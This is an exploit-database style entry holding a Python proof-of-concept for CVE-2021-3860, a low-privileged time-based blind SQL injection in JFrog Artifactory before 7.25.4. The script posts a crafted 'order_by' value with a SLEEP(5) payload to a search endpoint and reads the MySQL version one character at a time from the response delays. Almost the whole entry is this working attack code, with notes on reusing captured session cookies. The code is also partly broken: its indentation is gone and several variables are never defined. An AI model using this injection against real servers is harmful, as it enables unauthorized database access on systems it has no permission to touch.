JFrog Artifactory SQL Injection

`# Exploit Title: artifactory low-privileged blind sql injection  
# Google Dork:  
# Date:   
# Exploit Author: ardr  
# Vendor Homepage:https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection  
# Software Link: https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection  
# Version: JFrog Artifactory prior to 7.25.4  
# Tested on: MySQL  
# CVE : CVE-2021-3860  
  
import requests, string, time  
from sys import stdout,exit  
import warnings  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
# written by 75fc58fa86778461771d2ff7f68b28259e97ece9bf6cd8be227c70e6a6140314c97d3fdac30b290c6b10d3679c5ba890635a1ca6fa23c83481dfc1257cd062fd  
# old script for CVE-2021-3860  
# log into artifactory with any user. there must be populated data in the system. a fresh install will not work.  
# you will need to be able to capture a valid request to the below endpoint in order to run this script.  
# once captured, replace the cookies and headers below  
  
  
warnings.simplefilter('ignore',InsecureRequestWarning)  
  
  
session = requests.session()  
base = input("Please enter the base url: ")  
url = f"{base}/ui/api/v1/global-search/bundles/received?$no_spinner=true"  
# headers = Replace this with captured headers from the above endpoint   
pos = 1  
# cookies = Replace this with captured cookies from the above endpoint   
  
  
while True:  
for i in string.digits + '.':  
data={"after": "", "before": "", "direction": "asc", "name": "*", "num_of_rows": 100, "order_by": f"(select*from(select((CASE WHEN (MID(VERSION(),{pos},1) = '{i}') THEN SLEEP(5) ELSE 4616 END)))a)"}  
start = time.time()  
r = session.post(url, headers=headers, cookies=cookies, json=data, verify=False)  
request_time = time.time() - start  
if request_time > 5:  
version += i  
pos += 1  
stdout.write(i)  
stdout.flush()  
break  
if len(version) >= 6:  
stdout.write("\n")  
print(f"Version found: MySQL {version}")  
exit(0)  
  
`